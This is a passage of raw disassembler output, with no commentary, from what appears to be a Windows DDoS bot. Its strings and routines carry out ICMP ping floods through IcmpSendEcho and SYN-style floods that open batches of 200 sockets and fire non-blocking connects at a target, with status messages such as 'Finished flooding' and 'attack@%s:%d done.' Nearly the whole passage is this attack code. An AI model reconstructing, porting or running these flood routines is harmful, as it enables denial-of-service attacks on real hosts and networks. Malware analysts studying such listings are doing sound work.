lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A14 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8EAB call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4277B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427928 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427928: ; CODE XREF: ___:0042791Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_427958 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427958: ; CODE XREF: sub_427940+Dj mov eax, esi pop esi retn 4 sub_427940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427970 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_427970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427990 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427990 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_427A54 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_427A6E ; --------------------------------------------------------------------------- loc_427A54: ; CODE XREF: sub_427990+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_427A6E: ; CODE XREF: sub_427990+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427990 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B10 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27E09C7h mov esi, eax test esi, esi jz short loc_427B7A mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51012C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510130, eax call edi mov ecx, dword_51012C mov dword_510128, eax test ecx, ecx jz short loc_427B7A mov edx, dword_510130 test edx, edx jz short loc_427B7A test eax, eax jz short loc_427B7A mov al, [esp+0Bh] test al, al jz short loc_427B85 loc_427B7A: ; CODE XREF: sub_427B10+1Bj ; sub_427B10+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B10+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427B9C mov [esp+24h+arg_FFE8], eax loc_427B9C: ; CODE XREF: sub_427B10+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427BAF mov ebp, 1 loc_427BAF: ; CODE XREF: sub_427B10+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427BF4 loc_427BC0: ; CODE XREF: sub_427B10+E2j mov al, byte_4D84C9 test al, al jz short loc_427BF4 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510128 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427BC0 loc_427BF4: ; CODE XREF: sub_427B10+AEj ; sub_427B10+B7j push edi call dword_510130 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427B10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C50 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427C50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D9F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86FF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D2Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx call near ptr 71AB2B66h nop and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510138 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510338 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 279011Ch test eax, eax mov dword_51033C, eax jz short loc_427E8B push offset dword_448F44 push 5 push eax push 0 push offset dword_510138 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D2Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8745[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84C9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax call near ptr 71AB406Ah nop add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx nop call near ptr 2831CE8h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx call near ptr 71AB9639h nop add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8745[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: ___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 call near ptr 71AB8769h nop mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop 